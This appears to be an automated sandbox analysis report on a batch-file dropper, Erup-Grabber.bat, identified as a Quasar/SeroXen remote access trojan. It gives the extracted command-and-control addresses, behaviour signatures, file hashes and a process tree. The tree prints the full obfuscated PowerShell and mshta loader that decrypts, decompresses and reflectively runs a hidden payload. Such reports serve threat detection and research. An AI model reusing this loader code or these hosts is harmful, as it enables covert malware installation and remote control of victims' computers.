Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
46s -
max time network
39s -
platform
windows10-2004_x64 -
resource
win10v2004-20231020-en -
resource tags
arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system -
submitted
25/11/2023, 19:17
Static task
static1
General
-
Target
Erup-Grabber.bat
-
Size
11.9MB
-
MD5
aa1f6cd31fbb77165aedc2da94b32cd7
-
SHA1
8ca88341aad256ca91988306ff47e6cf12cd94d8
-
SHA256
09518a42f1b21665f2f2c3e48e093b1edee8f4bc1293e8a0d3242d0fe04e1eec
-
SHA512
673401bcf121675eac29ca49d5ac73c93f2f8c84fd332b5b9012ed48c1eff2a8e7042a29e12cff28f8b4aa5cfef9c3b886bb9716632fb172d44743b2b5a2c0c9
-
SSDEEP
49152:0sGrYDrssg95lKH7yfptPzON+AswxtLeDk4hs2GHfFb2X4cd0tdgxQtaQrWHjQx1:5
Malware Config
Extracted
quasar
1.0.0.0
v3.0.0 | SeroXen
134.255.254.225:5050
buy-positioning.at.ply.gg:58563
buy-positioning.at.ply.gg:5050
b92d9b76-77ce-40c5-8aa4-c16804423adc
-
encryption_key
4A61C133F5AD65F90240BF44872C676E824A6CA7
-
install_name
.exe
-
log_directory
$sxr-Logs
-
reconnect_delay
1000
Signatures
-
Quasar payload 1 IoCs
resource yara_rule behavioral1/memory/1476-70-0x0000019CEDF10000-0x0000019CEE70A000-memory.dmp family_quasar -
Async RAT payload 1 IoCs
resource yara_rule behavioral1/memory/1476-70-0x0000019CEDF10000-0x0000019CEE70A000-memory.dmp asyncrat -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3811856890-180006922-3689258494-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Deletes itself 1 IoCs
pid Process 4984 powershell.exe -
Executes dropped EXE 3 IoCs
pid Process 3356 $sxr-mshta.exe 2892 $sxr-cmd.exe 1476 $sxr-powershell.exe -
Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\$sxr-powershell.exe powershell.exe File created C:\Windows\$sxr-mshta.exe powershell.exe File opened for modification C:\Windows\$sxr-mshta.exe powershell.exe File created C:\Windows\$sxr-cmd.exe powershell.exe File opened for modification C:\Windows\$sxr-cmd.exe powershell.exe File created C:\Windows\$sxr-powershell.exe powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4984 powershell.exe 4984 powershell.exe 4984 powershell.exe 4984 powershell.exe 4984 powershell.exe 1476 $sxr-powershell.exe 1476 $sxr-powershell.exe 1476 $sxr-powershell.exe 1476 $sxr-powershell.exe 1476 $sxr-powershell.exe -
Suspicious use of AdjustPrivilegeToken 6 IoCs
description pid Process Token: SeDebugPrivilege 4984 powershell.exe Token: SeDebugPrivilege 4984 powershell.exe Token: SeDebugPrivilege 4984 powershell.exe Token: SeDebugPrivilege 1476 $sxr-powershell.exe Token: SeDebugPrivilege 1476 $sxr-powershell.exe Token: SeDebugPrivilege 1476 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 37 IoCs
description pid Process procid_target PID 3764 wrote to memory of 1252 3764 cmd.exe 87 PID 3764 wrote to memory of 1252 3764 cmd.exe 87 PID 3764 wrote to memory of 4984 3764 cmd.exe 88 PID 3764 wrote to memory of 4984 3764 cmd.exe 88 PID 3356 wrote to memory of 2892 3356 $sxr-mshta.exe 97 PID 3356 wrote to memory of 2892 3356 $sxr-mshta.exe 97 PID 2892 wrote to memory of 4856 2892 $sxr-cmd.exe 99 PID 2892 wrote to memory of 4856 2892 $sxr-cmd.exe 99 PID 2892 wrote to memory of 1476 2892 $sxr-cmd.exe 100 PID 2892 wrote to memory of 1476 2892 $sxr-cmd.exe 100 PID 1476 wrote to memory of 620 1476 $sxr-powershell.exe 5 PID 1476 wrote to memory of 676 1476 $sxr-powershell.exe 3 PID 1476 wrote to memory of 960 1476 $sxr-powershell.exe 10 PID 1476 wrote to memory of 60 1476 $sxr-powershell.exe 11 PID 1476 wrote to memory of 520 1476 $sxr-powershell.exe 12 PID 1476 wrote to memory of 956 1476 $sxr-powershell.exe 81 PID 1476 wrote to memory of 1044 1476 $sxr-powershell.exe 79 PID 1476 wrote to memory of 1084 1476 $sxr-powershell.exe 13 PID 1476 wrote to memory of 1144 1476 $sxr-powershell.exe 78 PID 1476 wrote to memory of 1152 1476 $sxr-powershell.exe 77 PID 1476 wrote to memory of 1188 1476 $sxr-powershell.exe 76 PID 1476 wrote to memory of 1220 1476 $sxr-powershell.exe 75 PID 1476 wrote to memory of 1340 1476 $sxr-powershell.exe 74 PID 1476 wrote to memory of 1360 1476 $sxr-powershell.exe 73 PID 1476 wrote to memory of 1424 1476 $sxr-powershell.exe 72 PID 1476 wrote to memory of 1432 1476 $sxr-powershell.exe 71 PID 1476 wrote to memory of 1576 1476 $sxr-powershell.exe 70 PID 1476 wrote to memory of 1596 1476 $sxr-powershell.exe 69 PID 1476 wrote to memory of 1660 1476 $sxr-powershell.exe 68 PID 1476 wrote to memory of 1676 1476 $sxr-powershell.exe 67 PID 1476 wrote to memory of 1768 1476 $sxr-powershell.exe 66 PID 1476 wrote to memory of 1808 1476 $sxr-powershell.exe 65 PID 1476 wrote to memory of 1912 1476 $sxr-powershell.exe 64 PID 1476 wrote to memory of 1964 1476 $sxr-powershell.exe 63 PID 1476 wrote to memory of 1972 1476 $sxr-powershell.exe 62 PID 1476 wrote to memory of 2016 1476 $sxr-powershell.exe 61 PID 1476 wrote to memory of 2000 1476 $sxr-powershell.exe 60 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:676
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:620
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:60
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:960
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:520
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵PID:1084
-
C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-fReCIuLSAGHVbBYYtktB4312:dlVTDXCI=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"2⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3356 -
C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-fReCIuLSAGHVbBYYtktB4312:dlVTDXCI=%3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function OTdGz($VRdME){ $uCory=[System.Security.Cryptography.Aes]::Create(); $uCory.Mode=[System.Security.Cryptography.CipherMode]::CBC; $uCory.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $uCory.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('5kQaE5/Vx+rhT5BnGDC+sVcCS9GU36HUfAuMM2SPBIQ='); $uCory.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('uOAKAaGPU34kkiZRGFxAUQ=='); $DATuS=$uCory.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $GbrAM=$DATuS.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($VRdME, 0, $VRdME.Length); $DATuS.Dispose(); $uCory.Dispose(); $GbrAM;}function ZcpHt($VRdME){ $YKPVc=New-Object System.IO.MemoryStream(,$VRdME); $SvTQl=New-Object System.IO.MemoryStream; Invoke-Expression '$PxCVC @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$YKPVc,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $PxCVC.CopyTo($SvTQl); $PxCVC.Dispose(); $YKPVc.Dispose(); $SvTQl.Dispose(); $SvTQl.ToArray();}function mJBDH($VRdME){ $GbrAM = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($VRdME); $GbrAM = OTdGz($GbrAM); $GbrAM = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($GbrAM); return $GbrAM;}function execute_function($VRdME,$nksjl){ $pjaaQ = @( '$vrnfz = [System.Reflection.Assembly]::Load([byte[]]$VRdME);', '$hKpur = $vrnfz.EntryPoint;', '$hKpur.Invoke($null, $nksjl);' ); foreach ($dhAzr in $pjaaQ) { Invoke-Expression $dhAzr };}$Lzqcf = mJBDH('0w6DgZR1d6axD3MNILYCtA==');$bRSfe = mJBDH('yBipeAdb2b8hnnewL7Ds8l2hJj5J2ZDiCW5EwLiR46o=');$wftBQ = mJBDH('fsLWR9GEPNNDFzZN16wn0g==');$rtoHM = mJBDH('GfKLvv4gcEW/n3xJofvjkA==');if (@(get-process -ea silentlycontinue $rtoHM).count -gt 1) {exit};$vaUJb = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($Lzqcf).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($bRSfe);$mGaWL=ZcpHt (OTdGz ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($vaUJb)));execute_function $mGaWL (,[string[]] ($wftBQ)); "4⤵PID:4856
-
-
C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1476
-
-
-
-
C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵PID:2000
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵PID:2016
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1972
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵PID:1964
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵PID:1912
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵PID:1808
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1768
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵PID:1676
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵PID:1660
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵PID:1596
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1576
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1432
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1424
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1360
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1340
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1220
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1188
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1152
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1144
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:1044
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:956
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Erup-Grabber.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function YQfYc($POzDT){ $EQReo=[System.Security.Cryptography.Aes]::Create(); $EQReo.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EQReo.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EQReo.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('7DUhfBzhdq2B1IVlldxxeRhuKRnGlv74eO44tkQ0dYo='); $EQReo.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('VsH+vWJJ8y1ZN8FmZhizPQ=='); $VYXIq=$EQReo.CreateDecryptor(); $return_var=$VYXIq.TransformFinalBlock($POzDT, 0, $POzDT.Length); $VYXIq.Dispose(); $EQReo.Dispose(); $return_var;}function RTaBX($POzDT){ $AshFT=New-Object System.IO.MemoryStream(,$POzDT); $ovMtC=New-Object System.IO.MemoryStream; Invoke-Expression '$sNXRD #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$AshFT,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $sNXRD.CopyTo($ovMtC); $sNXRD.Dispose(); $AshFT.Dispose(); $ovMtC.Dispose(); $ovMtC.ToArray();}function NsYyH($POzDT,$KXydw){ $vUFPE = @( '$qiGZk = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$POzDT);', '$JwNLN = $qiGZk.EntryPoint;', '$JwNLN.Invoke($null, $KXydw);' ); foreach ($lUogs in $vUFPE) { Invoke-Expression $lUogs };}$GFERO=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\Erup-Grabber.bat').Split([Environment]::NewLine);foreach ($SeMYQ in $GFERO) { if ($SeMYQ.StartsWith('SEROXEN')) { $JVhuW=$SeMYQ.Substring(7); break; }}$AWjzS=RTaBX (YQfYc ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($JVhuW)));NsYyH $AWjzS (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\Erup-Grabber.bat')); "2⤵PID:1252
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden2⤵
- Deletes itself
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4984
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
Filesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
-
Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b